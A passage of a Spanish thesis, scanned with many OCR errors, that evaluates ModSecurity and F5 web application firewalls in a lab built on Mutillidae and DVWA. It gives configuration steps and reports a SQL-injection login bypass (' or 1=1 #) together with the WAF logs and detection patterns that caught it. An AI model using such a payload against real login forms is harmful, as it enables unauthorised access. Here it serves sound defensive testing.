5.3. METODOS, TECNICAS E INSTRUMENTOS DE RECOLECCION DE
DATOS

El método empleado para el desarrollo del proyecto inicialmente se basara en la
investigacion de las funcionalidades disponibles en los WAF que cubran el top 10
de las vulnerabilidades web reportadas por OWASP, posteriormente con la
informacion recolectada se realizard un disefio que permitan probar el
funcionamiento del dispositivo.

Las herramientas utilizadas estardn basadas en el sistema operativo Kali Linux,
CcOmo son:

e Nikto — El cual es un escaner que desempefia pruebas de ataques hacia
servidores web, incluyendo potenciales archivos CGI, ademas permite
revisar la presencia de multiples archivos de index?®.

18 [en linea]. <Tipos de studio http://www.tiposde.com/ciencia/estudio/tipos-de-estudio.htm|>
19 CIRT.net. Nikto2. En < https://cirt.net/Nikto2>[citado en 28 de noviembre de 2015].
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e Paros — Es un proxy HTTP/HTTPS basado en Java para realizar pruebas
de vulnerabilidades web. Soporto editar y ver los mensajes HTTP on-the-fly.
También permite escaneos inteligentes para XSS e inyecciones de SQL?,

e LiveHTTPHeaders - Esta herramienta permite modificar las cabeceras
HTTP al enviar las solicitudes o alterar sus respuestas?..

e Webgoat — Este es un portal web con diferentes vulnerabilidades presentes
y que permitird emular los servicios que se prestan en una aplicacién web?2,

e Wireshark - Esta herramienta permite el analisis del trafico y permite
identificar la estructura de la informacion?3,

La recoleccion de datos se hara tanto en los dispositivos WAF para evidenciar los
eventos de seguridad generados como en los equipos cliente con el fin de validar
el tipo de vector ataque empleado.

5.4. PLAN DE PROCESAMIENTO Y ANALISIS A DATOS

Para la validacion de los datos se hara uso de: la herramienta de logs que dispone
cada uno de los WAF de forma nativa y analizadores de trafico para comparar los
eventos detectados por el dispositivo versus los registros generados en las
herramientas empleadas para los ataques, y asi verificar la relacion de los eventos
generados y detectados. Posterior a la validacion, se procedera con la codificacién
de la informacion mediante la clasificacion de: los ataques, herramientas
empleadas, accion realizada por el WAF y evento registrado en el dispositivo.
Finalmente, se documentaran los resultados obtenidos en el WAF luego de
ejecutar las pruebas.

20 TestingSecurity.com. Paros Proxy. En <http://www.testingsecurity.com/paros_proxy> [citado en 28
de noviembre de 2015].

21 TestingSecurity.com. LiveHTTPHeaders. En <http://www.testingsecurity.com/paros_proxy>
[citado en 28 de noviembre de 2015].

22 OWASP. Category: OWASP Webgoat Project. En
<https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project> [citado en 28 de
noviembre de 2015].

28 How to Geek. How to use wireshark to capture, filter and inspect packets. En
<http://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/>
[citado en 28 de noviembre de 2015].
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5.5.

METODOLOGIA DE DESARROLLO

El desarrollo del proyecto esta orientado a cubrir los siguientes aspectos:

Estudio de las funcionalidades soportadas por los dispositivos WAF, esto
con la finalidad de identificar las principales funciones que puede cumplir el
WAF y de esta forma cubrir las vulnerabilidades de OWASP.

Revision de las marcas y los servicios proporcionados por los diferentes
tipos de WAF. Existen diferentes fabricantes dedicados a la produccion de
dispositivos de seguridad y mas especificamente a los WAF, entre los mas
conocidos estan: Imperva, F5, Citrix, Akamai, entre otros, y comunmente el
enfoque o la especialidad de estas marcas no es precisamente WAF, asi
que las funcionalidades o el modo de operacion de sus WAF varian entre si
y el propositivo del estudio es identificar todas esas funcionalidades que
puede ofrecer una mejora en la seguridad de los servicio web.

Disefio de un esquema de pruebas que permita evaluar las vulnerabilidades
de OWASP, puesto que este tipo de trabajo tiene un enfoque practico es
necesario emular un escenario que permita incluir los 3 actores principales
de este estudio como son: un servidor web vulnerable, un equipo cliente
con herramientas para explotar vulnerabilidades y un WAF. Ademas, los
dispositivos de ser puestos de forma que se permita realizar el cambio de
los dos WAF (libre distribucion y comercial) sin alterar las condiciones del
servidor ni del cliente.

Ejecucion de los vectores de ataques sobre los WAF seleccionados, la
ejecucion de un ataque posee unas fases que para este proyecto no se
cumplen en su totalidad, sin embargo, algunos pasos fueron considerados
para el desarrollo del trabajo. Asi que, en primera instancia es necesario
realizar un reconocimiento de la vulnerabilidad a explotar, posteriormente
con las herramientas de escaneo identificamos si es posible la ejecucion del
ataque y finalmente se lleva a cabo el vector de ataque seleccionado.
Realizar los analisis de resultados y conclusiones, considerando que luego
de ejecutar los vectores de ataques sobre los dos tipos de WAF los
resultados podrian diferir entre los tipos de dispositivos, por lo que llega a
ser necesario identificar las ventajas y desventajas que presentan los WAF
comerciales frente a los de libre distribucion y validar si el WAF permitir
minimizar el riesgo respecto a las vulnerabilidades reportadas en el TOP 10
de OWASP.
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6. DISENO E IMPLEMENTACION
6.1. PORTAL WEB DE PRUEBAS

Mutillidae es un portal de libre distribucion, deliberadamente vulnerable para
ejecutar pruebas de aplicaciones web. Este software puede ser instalado en Linux
o Windows usando LAMP, WMAP, XAMMP. Ademas, dispone de retos para
explotar vulnerabilidades del top 10 de OWASP que incluyen la version 2007, 2010
y 2013. En la Figura 4 se observa la pagina de inicio del portal.

Figura 4- Portal de pruebas Mutillidae
<« C M [ 192.168.10.10:8090/mutillidae/index.php?popUpNotificationCode=AU1 L i
it! Aplicaciones d Bookmarks GV IPS [ Checkpoint (CJ F5 (CJ Pag. BAC [ Bluecoat [ VPNSSL ] AAA [ Monitoreo (O] Casos [Fal EPS (O Telefonica ([ Certificacion

@ OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.37

Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Logged In Admin: admin (g0t

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSIL. Reset DB View Log View Capiured D

OWASP 2013 Al - Injection (SQL) »

i1 = Tt () q tillidae: Deliberately Vulnerable Web Pen-Testing Applicat

OWASP 2010

A2 - Broken Authentication and . -
OWASP 2007 Session Management Like Mutillidae? Check out how to help

Web Services A3 - Cross Site Scripting (XSS)
Yoi

A4 - Insecure Direct Object T L Video Tutorials
References

A5 - Security Misconfiguration

A6 - Sensitive Data Exposure

A7 - Missing Function Level Access ﬁ Listing of vulnerabilities
Control

AB - Cross Site Request Forgery

(CSRF) p

A9 - Using Components with Known * Bug Report Email Address

il
Getting Started: RULECTES
Project Whitepape

A10 - Unvalidated Redirects and

Forwards
T L e Release Announcements

—

Fuente: El autor

El otro portal empleado para ejecutar las pruebas es Damn Vulnerable Web App
(DVWA) el cual es una pagina web con vulnerabilidades implementada sobre
PHP/MySQL. Su principal propésito es entrenar a los profesionales en seguridad a
desarrollar sus habilidades y probar herramientas en un ambiente controlado sin
incumplir con las normativas legales. Este portal también dispone de una serie de
retos para el hallazgo de vulnerabilidades, ademas posee tres niveles de
seguridad que exige ejecutar técnica mas avanzadas con cada nivel. En la Figura
5 se muestra la pagina principal del portal.
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Figura 5- Portal de pruebas DVWA
N | [7192.168.10.11/DVWA/ By @
es (] Checkpoint d Bookmarks T IPS (] F5 [CJ Pag. BAC (O] Bluecoat g VPNSSL [ AAA [ Monitoree (] Casos [T EPS [ Telefonica (O] Certificacion @

| Welcome to Damn Vulnerable Web App!

Instructions ‘ Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web

Setup ‘ developers better understand the processes of securing web applications and aid teachers/students to
teach/learn web application security in a class room environment

Brute Force WARNING!

Command Execution
CSRF
Insecure CAPTCHA

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing

|
|
|
} Disclaimer
|
|
|
|
|

File Inclusion

We do not take responsibility for the way in which any ene uses this application. We have made the purposes o

SAL Injecti
Gflinjsction the application clear and it should not be used maliciously. We have given wamings and taken measures to
SQL Injection (Blind) prevent users from installing DVWA on to live web servers_ If your web server is compromised via an installatio
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
Upload
e iemeT General Instructions
XSS stored The help button allows you to view hits/tips for each vulnerability and for each security level on their respective

(52

Fuente: El autor
6.2. FICHA TECNICA DE LOS FIREWALL DE APLICACIONE WEB

6.2.1. Informacién ModSecurity ModSecurity es una herramienta de libre
distribucion, que ofrece un WAF multiplataforma para Apache, IS, Ngnix. Este
software es desarrollado por los laboratorios Spider de la empresa Trustwave
cuenta con un lenguaje de programacion basado en eventos proporcionando
proteccion frente a un rango de ataques contra aplicaciones web y permite
monitorear, registrar y analizar en tiempo real el trafico HTTP.

El lema de ModSecurity es la libertad para escoger lo que se quiere hacer que va
muy relacionado con su naturaleza de libre distribucion. ModSecurity es una
herramienta con total acceso al cédigo fuente de su aplicacion, lo cual permite
extender las habilidades y personalizar las reglas de acuerdo a las necesidades.

Los modos de implementacion de ModSecurity son dos: embebido y proxy reverso,
donde cada uno presenta sus ventajas y desventajas:

e La funcion de embebido es soportada como modulo de Apache para las
versiones 2.0.x y 2.2.Xx, y no puede ser embebido con otro tipo de
servidores web como 1IS o Ngnix. Esta solucion es idonea si no se
desean realizar cambios en la infraestructura o adicionar nuevos puntos
de falla, sin embargo la mayor desventaja es compartir los mismos
recursos del servidor web con modsecurity o desplegar esta solucion en
un gran namero de servidores.
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e En la funcion de proxy reverso, el WAF actia como enrutador http
disefado para estar entre el servidor web y el cliente, cuando se
despliega en este modo es requerido la instalacién de un servidor web
con Apache y con el modulo de ModSecurity. De esta forma, un solo
dispositivo puede proteger cientos de servidores web. EI modo
embebido no incluyen nuevos puntos de falla, pero no es escale cuando
se dispone de un numero grande de servidores web.

Aunque Modsecurity es una buena herramienta, existen algunas funcionalidades
que se debe ser mejoras, una de ellas es disponer de un método de aprendizaje
para disminuir el nimero de falsos positivos y segundo la implementacion del
modo embebido en otros tipos de servidores web.

6.2.2. Informacion F5 BIG-IP F5 es una de las marcas lideres en el mercado de
balanceo de trafico lo cual trae beneficios con la integracion de soluciones que
disponen de varios servidores para ofrecer un servicio, tal como pasa en la
mayoria de soluciones web. Mediante su producto BIG-IP, F5 ofrece diferentes
tipos de servicios como lo es: gestor de trafico global (GTM, en inglés), gestor de
trafico local (LTM, en inglés), gestor de firewall avanzado (AFM, en inglés), gestor
de seguridad de aplicaciones (ASM, en inglés), entre otros. La licencia relacionada
con WAF es la nombrada como ASM, la cual permite defensa ante ataque
denegacién de servicio a nivel de capa de aplicacién, implementacion de técnicas
avanzadas de deteccion y mitigacidon, aprendizaje dinamico y visibilidad granular
de ataques. Asimismo, tiene cumplimiento de normativas tales como FFIEC,
HIPAA y PCI-DSS.

La implementacion del WAF F5 BIG-IP en una edicion virtual requiere llevar a
cabo los siguientes pasos:

I. Obtener una licencia demo, la cual tiene un valor 95USD y brinda una
vigencia de 90 dias, se puede ordenar a través de internet o mediante un
canal de F5.

Il.  Crear una cuenta de F5, para esto no es necesario comprar un producto de
la marca.

lll.  Descargar la imagen de la edicién virtual de BIG-IP, esto se realiza a través
de la cuenta de F5 ingresando a la URL https://downloads.f5.com. Alli se
deben descargar las versiones con extension ZIP u OVA que son las
compatibles con VM Ware.

IV. Realizar el montaje de la imagen en VM Ware

V. Licenciar el dispositivo, tan pronto como se inicia por primera vez la
maquina virtual le permitira al usuario ingresar las credencias que por
defecto son root tanto para usuario y contrasefa, sin embargo después de
esto el dispositivo no permitira realizar ninguna configuracién adicional
hasta que sea cargada la licencia.
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6.3. ESQUEMA DE LA RED DE PRUEBAS

Para el uso del WAF se utilizard& un modo de operacion en proxy reverso,
actuando con una puerta de enlace para conectar la red de servidor o con la de los
clientes. Para ejecutar las pruebas se empleara dos equipos clientes que incluyen
un PC con Windows 8.1 y equipo con Kali Linux. En Figura 6 se detalla el
esquema de red.

Figura 6- Esquema de red WAF

Direccion IP: 192.168.20.1 Direccion IP: 192.168.10.1

— O
Windows 8

Direccion IP: 192.168.20.10 IIlIllI
VMnet5 IIII VMnet6 u [Ease]

I
‘m\ Web Vulnerable
4 Direccidon IP: 192.168.10.10
Uc HH . . 10.
I
Web Aplicacion
Kali Linux Firewall

Direccién IP: 192.168.20.20

Fuente: El autor

6.3.1. Configuracion WAF ModSecurity en proxy reverso Al configurar el
servidor Apache en modo proxy reverso, serd necesario disponer de dos
servidores uno brindando la funcionalidad de WAF y el otro encargado de publicar
la aplicacion web. Para iniciar la configuracion del WAF primero se deben habilitar
la configuracion del proxy reverso, para esto primero se cargan las dependencias
necesarias mediante el siguiente comando:

apt-get install libapache2-mod-security2 —y

Luego se deben habilitar los modulos de proxy reverso:
a2enmod headers

a2enmod mod-security

a2enmod security2

Para validar que modulos se encuentran habilitados en el servicio de Apache se
emplea el comando “apache2ctl —-M”
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Para finalizar la configuracion del proxy reverso se debe editar el archivo
“letc/apache?2/sites-enabled/000-default.conf” alli se define la IP del web server
hacia donde se redireccionaran las solicitudes hechas por los usuarios para este
caso serd la 192.168.10.10 la cual corresponde al web server. En la Figura 7 se
muestra la configuracion realizada para el proxy reverso.

Figura 7- Configuracion proxy reverso Apache

root@ubunEu:fhome}tom# cat Setc/apache2/sites-enabled/000-default. conf
<virtualHost *:80=
ProxyPreserveHost On

W

The serwverMame directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating

# redirection URLS. In the context of wvirtual hosts, the ServerName

# specifies what hostname must aﬁpear in_the request’'s Host: header to

# match this wirtual host. For the default wvirtual host (this file) this
# walue is not decisive as it is used as a last resort host_regardless.
Howewver , you must set it for any further wvirtual host explicitly.
#5erverName www. example. com

W

serveraAdmin webmaster@localhost
DocumentRoot Svar Swww,/html

# Aavailable Toglevels: trace8, ..., tracel, debug, info, notice, warn,
# error, crit, alert, emerg.

# It is also possible to configure the loglewvel for particular

# modules, e.g.

#LogLevel info ss1:warn

ErrorlLog ${APACHE_L0G_DIR}jerror.10?
CustomLog ${APACHE_LOG_DIR}/access. log combined

# For most configuration files from conf-available/, which are

# enabled or disabled at a global lewvel, it is possible to

# include a 1ine for only one particular wirtual host. For example the
# following Tine enables the CGI configuration for this host only

# after it has been globally disabled with "a2disconf™.

#Include conf—avaﬁWag1efserve—cgﬁ—b1n.conf

ProxyPass / http://192.168.10.10:80/

ProxyPassReverse ,/ http://192.168.10.10:80/

= /virtualHost>

Fuente: El autor

Para instalar el Modsecurity en el servidor Apache serd necesario agregar las
siguientes dependencias:

sudo apt-get install libapache2-mod-security2 —y

Al terminar la instalacion se ingresa al archivo “/etc/modsecurty/modsecurity.conf”,
el cual corresponde al fichero principal de la configuracion del Modsecurity, alli se
define el modo de operacion del WAF si va a realizar bloqueos o solo deteccion,
ademas se fijan los tamafos maximos que puede llegar a tener una solicitud
HTTP. En Figura 8 se detalla la configuracion del archivo.
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Figura 8- Fichero principal de ModSecurity

GNU nano 2.2.6 Archivo: /etc/modsecurity/modsecurit

-- Rule engine initialization —————— -
Enable Modsecuritx, attaching it to every transaction. Use detection
.

only to start wit because that minimises the chances of post-installation
disruption.

Ed
SecRuleEngine Detectiononly r___________%>

# -- Request body handling ------------ - - - - - - - - - - - - -\ -\ -\ —«\ —«\«\

o %

Modo de operacién

# Allow ModsSecurity to access request bodies. If you don’'t, Modsecurity
# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.

#
SecrRequestBodyAccess oOff

# Enable XML request body parser.
# Initiate XML Processor in case of xml content-type
#

SecRule REQUEST_HEADERS:Content-Type "text/xml"™ \
"id:"200000° ,phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=xmL"

# Maximum reguest body size we will accept for buffering. If you support
# file uploads then tKe value given on tﬁe first line has to ge as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.

F - -
SecRequestBodyLimit 13107200 BN Maximo tamafio de las
SecRequestBodyNoFilesLimit 131072 solicitudes

# Store up to 128 KB of request bod¥ data in memory. when the multipart
# parser reachers this Timit, it will start using your hard disk for
# storage. That is slow, but unavoidable.

#
SecRequestBodyInMemoryLimit 131072

Fuente: El autor

Luego se cargan las librerias y reglas preconfiguradas que se descargan desde
https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master, estan reglas
se incluyen en el archivo que se muestra en Figura 9.

Figura 9- Archivo de configuracion ModSecurity
root@ubuntu: /home/Tom# cat /etc/apache /mods-enabled/securityZ, conf
<IfModule security2_module-
# Dpefault Debian dir for modsecurity's persistent data
SecDatabDir /var/cache/modsecurity

# Include all the *.conf files in /etc/modsecurity.

# Keeqin? your local configuration in that directory

# will allow for an easy upgrade of THIS file and

# make your life easier

Include "/etc/modsecurity/activated_rules/*. conf”

Includeoptional /etc/modsecurity/*.conf

# Includeoptional "/usr/share/modsecurity-crs/*.conf”

# Includeoptional "/usr/share/modsecurity-crs/activated_rules/*. conf”
</IfModules

Fuente: El autor

Finalmente, para validar si el trafico esta cursando por el WAF se debe validar el
fichero “/var/log/apache2/error.log”, el cual mostrara si existe algun tipo de bloqueo
o restriccién en el WAF de ModSecurity, en la Figura 10 se detalla muestra de
error detectado por el WAF.
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Figura 10- Revision logs ModSecurity

Message: Warning. Match of “within &{tx.allowed_nethods}" against "REQUEST_METHOD" required. [file "/ef
Tine "31"] [1d "960032"] [rev 2] [msg "Wethod 15 not alTowed by policy”] [data "GET'] [severity "CRI]
( "0WASP_CRS/POLICY /METHOD_NOT_ALLOWED"] [tag "WASCTC/WASC-15"] {tag "OWASP_TOP_10/A6"] [tag "0iAsP_tpy
Message: Warning. Pattern match "A[\\d.:]+§" at REQUEST_HEADERS:Host. [file ”/etc/mudsecur1ty/base_ruﬁe
960017"] [rev "2"] [msq "Host header is a numeric IP address'] [data "192.168.10.1"] [severity "WARNIN
WﬁSPHCRS/PROIE]COL_VIOLATION/IF'_HOST"} [tag "WASCTC/WASC-21"] [taq "OwASP_Tor_10/47"] [tag "pC1/6.5.10"]
rbasher. aspx

Message: wgrning. Operator LT natched 5 at TX:inbound_anonaly_score, [f1le /etc/modsecurity/base_rules

[msg "Inbound Anomaly Score (Total Inbound Score: 3, 5QLi=0, XS5=0): Host header is a numeric IP addrg

Apache-Handler: proxy-server

Stopwatch: 1463933497921587 49486 (- - -)
Stonwatch?: 1463933497071587 404R6: combined=R57R. n1=747, n?=48%7 n3=0. nd=D767. n%=)0A. sr=)37. sus)

Fuente: El autor

6.3.2. Configuracion WAF F5 en proxy reverso La configuracion del proxy
reverso en F5 requiere configurar las interfaces de red en el dispositivo, para este
caso se tendran dos IP una para LAN y otra para la conexién con el servidor. La
configuracion del direccionamiento de red se realiza sobre el modulo
network>selfip del dispositivo, tal como se observa en Figura 11.

Figura 11- Configuracion self IP F5

Network » SelfIPs

% . SefflP List

i Saarch)

= Name © Application = IP Address = Nemask = VLAN/Tunne
192.168.10.1 192.168.10.1 255.255.255.0 Web_Server
192.168.20.1 192.168.20.1 255.265.255.0 LAN

Delstp |

Fuente: El autor

El siguiente paso es crear el Virtual Server, el cual es un objeto en el equipo que
representa una IP y un puerto de servicio, este objeto es usado para que los
clientes externos hagan consultas al web server. En el caso del laboratorio el
virtual server esta asociado a la IP 192.168.10.10 y puerto 80 (http), este sera el
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objeto consultado para que el trafico que ingrese por el f5. En la Figura 12 se
detalla la configuracion hecha para el virtual server.

Figura 12- Configuracion del Virtual Server en F5

1 ITatmc » VIFTUual »ervers . ViNlitual »erver LIST »» vweDLoal »erver

¥+ - | Properties Resources Security - | Statistics =

General Properties

Mame WebGoat_Server

FPartition / Fath Common

Description | |

Type Standard -
Source Address 0.0.0.0/0

Destination Address/ask 192.168.10.10

Service Port 80 HTTF -

Motify Status to Virtual Address -

Availability @ YUnknown (Enabled) - The children pool member(s) either don’t have service ch
Syncookie Status Ot
State Enabled

Configuration: | Basic

Protocol TCP A

Protocol Profile (Client) top -
Protocol Profile (Server) (Use Client Profile) -
HTTF FProfile http -

Fuente: El autor

El flujo de trafico en un F5 debe recibir las peticiones de los clientes externos a
través del virtual server para posteriormente redireccionar la peticion hacia el Pool
asociado. Para el caso del laboratorio las consultas son hechas a la IP
192.168.10.10 y puerto 80 (http) y el F5 redireccionara el trafico hacia la IP
192.168.10.20 la cual corresponde a la direccion real de nuestro servidor web. En
Figura 13 se detalla la configuracion del Pool.
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Figura 13- Configuracién delpoolenfs

Local Traffic » Pools : Pool List »» Mutillidae_server
Members Statistics

r -~ Properties

Member Properties
Node Name 192.168.10.20
Address 192.168.10.20
Service Port 2090
Partition / Path Common
Description | |
Parent Node @ 192.168.10.20
Availability @ Unknown (Enabled) - Pool member does not have service checking enabled 2016-05-18 10:05:56

Health Monitors
Monitor Logging Enable

Current Connections 0

* Enabled (All traffic allowed)
State Disahled (Only persistent or active connections allowed)
Forced Offline (Only active connections allowed)

Fuente: El autor

Posteriormente, se requiere realizar la configuracién de una politica de seguridad
en ella se debe suministrar la informacién relacionada con el servidor web como:
sistema operativo, lenguaje de programacion, framework y base de datos. El
suministrar esta informacion describe la politica de seguridad de forma que solo
alertara las firmas de ataques relacionadas con las caracteristicas del servicio web
instalado. En la Figura 14 se muestra la configuraciéon hecha para el laboratorio
ejecutado.

Figura 14- Configuracion politica de seguridad WAF F5 paso 1

Configure Attack Signatures

Assigned Systems: Available Systems:

Default Web Servers
General Database Apache Struts
System Independent Apache Tomcat
Various systems s

Operating Systems Other Web Server
Microsoft Windows Froxy Servers

Signature Staging

Unix/Linux Languages, Frameworks and Applications
Web Servers ASP
Apache ASEMNET

MySQL

2381 signatures will be assigned to the Security Policy

¥ Enabled

Languages, Frameworks and Applications ==l BEA Systems WebLogic Server
HEETE PHP 1| cal
Database Servers =l Elasticsearch

Front Page Server Extensi...FFSE)
Java Servlets/JSP

Lotus Domino

Macromedia ColdFusion
Macromedia JRun

Cutlook Web Access

55l (Server Side Includes)
WehDAV

Fuente: El autor
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En el siguiente paso de la configuracion se define lo complejidad que de
aprendizaje que puede llegar a tener la politica, va desde fundamental para la
deteccion de los vulnerabilidades més sencillas hasta una politica comprensiva
que permite detectar comportamientos de las aplicaciones. Para las pruebas se
utilizara la politica de nivel comprensivo. En la Figura 15 se muestran los tres tipos
de politicas.

Figura 15- Configuracion politica de seguridad WAF F5 paso 2

cy Building Cancel || Back || Next...

Comprehensive v

Fundamental

« HTTP Protocol Compliance

+ Evasion Technigues

s Learn New File Types + Lengths

= Learn New Parameters in selective mode at
Global level

« NMethods

« Aftack Signatures

» Reqguestlength exceeds defined buffer size
= HostNames

« Failed to convert character

« Learn New Redirection Domains

Enhanced

« HTTP Protocol Compliance

+ Evasion Technigues

s Leamn Mew File Types + Lengths

= Learn New URLs in selective mode + Meta
Characters

« Leamn New Parameters in selective mode +
Lengths, at Global level

= Methods

» Aftack Signatures

« Requestlength exceeds defined buffer size
« HostMames

Comprehensive

« HTTF Protocol Compliance

+ Evasion Technigques

s Learn New File Types + Lengths

» Learn New URLs + Meta Characters, Classify
Request Content

» Learn New Parameters + Lengths, at URL level,
Classify Value Content

« Parameter Meta Characters

« Aftack Signatures

« Requestlength exceeds defined buffer size
= Host Mames

« Leam Mew Cookies
= Content Profiles

« Learn New Cookies

« Methods

+« Dynamic Parameters: Using Statistics
= Content Profiles

+« Header Length

s Cookie Length

« Failed to convert character

= CSRF URLs

= Learn New Redirection Domains
« Track User Login Sessions

« Brute Force Login Protection

« Failed to convert character

+ Leamn Mew Redirection Domains
» Track User Login Sessions

s Brute Force Login Protection

Fuente: El autor

En el ultimo paso de la configuracién el equipo propone un periodo de aprendizaje
de parametros de la aplicacién de 7 dias, y permite configurar al dispositivo en
modo de alerta o alerta y bloqueo, que se identifican como modo transparente o
bloqueo. Para las pruebas de empleara un modo transparente. En la Figura 16 se
muestran los detalles de la configuracion.
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Figura 16- Configuracion politica de seguridad WAF F5 paso 3

Security »» Application Security : Policy : Policy Properties

1% ~ | Policy Properiies | Response Pages | Audit ~ | History

Current edited policy| Folitica_Seguridad_mutillidae (transparent) v |

lecurity Policy Properties | Basic v e
Security Policy Mame Politica_Seguridad_mutillidae

[Version 2016-04-19 20:10:11 (Source Host Name: Proyecto_WAFtesis.co, Source Policy Name: /Common/Politica_Seguridad_mutillidae)
Fartition / Path /Common

|Application Language Unicode (ut-8)

Security Policy Description

Enforcement Mode * Transparent' ' Blocking

Enforcement Readiness Period days

Signature Staging Enabled (Attack Signatures Configuration)
Security Policy is case sensitive | Yes

Differentiate between HTTP and | ¥ Enabled
HTTFPS URLs Mote: You cannot change this property as there are URLs in the security policy with the same name and different protocol.

Mask Credit Card Mumbers in
FequestLog

Fuente: El autor

| Enabled
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7. ANALISIS Y RESULTADOS

En el esquema de pruebas empleado se evaluaron los dos tipos de WAF tanto el
comercial de la marca F5 y el de libre distribucion ModSecurity, cada WAF fue
sometido a las 10 vulnerabilidades una por cada ambito del top 10 de OWASP de
2013 y los resultados evaluados se enfocan en la deteccion de los pardmetros
anomalos por parte del WAF.

7.1. PRUEBA OWASP A1: INYECCION

Para la prueba de inyeccion de SQL se buscé saltar la autenticacion del portal
para esto se introdujo la variable ‘ or 1=1 # en el campo de usuario, al enviar esta
solicitud una péagina vulnerable detectard esta afirmacion como cierta evitara
validar las credenciales, como se observa en la Figura 17.

Figura 17- Prueba A1 Inyeccion de SQL

e = T = e

e Help Me!

Hints and Videos

Please sign-in

Username "or1=14
Password

Dont have an account? Please register here

Fuente: El autor

En el equipo WAF de marca F5 luego de introducir la secuencia de inyeccion de
SQL se detecta el ataque, donde la IP origen que generd el evento fue
192.168.20.10 y el nivel de violacion fue calificado de nivel 4 en una escala de 1 a
5. En la Figura 18 mayor detalle del evento detectado por el WAF de F5.
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Figura 18- Log WAF F5 Inyeccion SQL

Signature Mame

SOL-IMNJ expressions like "or 1=1" (3} (Headers}
SQL-1MJ expressions like (1) ™ or 1 —

SQL-IMJ expressions like "or 1=1" (6}

SQL-1MJ expressions like "or 1=1" (3}

SOL-IMJ expressions like ™ or 1 —

“iolation

@ Attack signature detected

General Details

Requested URL [HTTP] /mutillidaefindex. php
Security Policy Politica_ Seguridad_mutilid ae
Support 1D 111351437607 76659108
Time 2016-04-06 19:14:42
Request Status '

Sewerity Informational

Viclation Rating 4 = Reqguest locks like a threat but requires examination
Response Status Code 200

Attack Types [WErY

Username MNiA

Session ID 6252d9%fc2d586db6

D 192.168.20.10:515%1 |Add IP Address Exception...
Source IP Address
IP Address Intelligence: N/A  [IF Address Intelligence last updated: MN/A]

Destination IP Address Il 192.168.10.10:8090

Fuente: El autor

Posteriormente, al realizar la inyeccion de SQL en el WAF de ModSecurity, se
detecta en los logs que el campo de usuario se introdujo ‘or 1=1 # lo cual
corresponde al patron de comportamiento de una ataque de inyeccion. En Figura
19 se detalla la informacion revisada en el WAF de ModSecurity.

Figura 19- Log WAF Modsecurity inyeccion SQL

VUJ:‘UAEMQEMWU\( TRARAD ]
Sun May 22 22:53:29.385757 2016 p clvent 192.168.10,200] ModSecurity: Warning. Pattern match (A Xxc2\\xbd\\xe2\\x80\\x99\\xe2\ \x80\\x98; ]+
"\\xc2\\xbd xe2\\x80\\x99 xe7 X80\\x98; ]+§)" at ARGS:username. [file "/etc mod)ecur1ty base_rules/ modsecur1ty_crs 41_sql_ 1n]ect1on attacks. conf ] [Tine "64"]

1d "981318" ] [rev "2"] [msg 'sQL Injection Attack: Connon Injection Testing Detected” ] [data "Matched pata: ' found within ARGS: usernane: ' or 1=1 #" '] [severity "CRI

ICAL"] [\er "OWASP_CRS/2.2 9'} [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_App

ensor/CIEL"] [tag "PC1/6.5.2"] [hostname "192,168.10.1"] [uri "/mutillidae/index.php"] [unique_id " VOJQUXSAAQE«ADQde*AAAAE

Sun May 22 22:53:29.387820 2016] [:error] [pid 13341] [client 192.168.10.200] ModSecurity: Warning. Pattern match "(7i:([\\\\s xb4\\xe2\ \x80\\x99\ \xe2\ \x80)
X98\\\\(\\\ D T2 \\\DCL\\\\d\\\\wl++) ([ "\\""\\xc2 xb4 xe2 xBO x99 xe2 xBO x98 ( )]'")(’ 2:=|<=>|r?Tike| sounds 5’11ke\regexp)([ $'\""\\xe2
xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\( A\\\b| (?: Alie\\\\sanot - rnane...[file "/etc/modsecurity/base_rules modsecurity_¢

rs.41 sal injection artacks. conf"] [lin "] [id "950901"] [ ' [m)g SQL In;ect1on Attack SQL Tauto]ogy Detected. " ] [data "Matched pata: 1=1 found within AR

S:username: _or 1=1 #'] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] ‘aturity~"5"}faccuracy "8"}{tay"0wiSrCRS/weaZATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"

tag "OwASP_TOP_10/A1"] [tag "OWASP_appSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "192.168.10.1"] [uri "/mutillidae/index. php ] [un1que_1d VOJEUXSAAQEAADQde*AAAAE

sun May 22 22:53 88673 2016] [:error] [p1d 13341] [client 192.168.10.200] ModSecurity: warning. pattern match "(?i: b 2(2:\\\\d{1,10}|[

H S\\W\\s#x2or\\\\s+. {1,203 [+\\\\-!0=]) |\\\\b (71 :x?0r)\\\\b\\\\s+(\\\\d{1,10}| * [A=]{1,10}") |\\\\ b\\\\s+(\\\\d{1, 10}

at ARGS usernane. [f11e etc/modsecurity/base_rules modsecurity_crs_41 Sql_ injection_attacks. conf ] [line "1 id "959071" ] [rew ”2"] [ms
("] [data "Matched Data: ' or 1= found within ARGS:username: ' or 1=1 #"] [se\er1ty "CRITICAL"] [\er "OWASP_CRS [maturity "9"] [a(curacy 8" [
OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tagq "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI "] [hostname "192.168.10.1"] [uri "
i111dae/index.php"] [unique_id "V0J@GuX8AAQEAADQAQYMAAAAB"
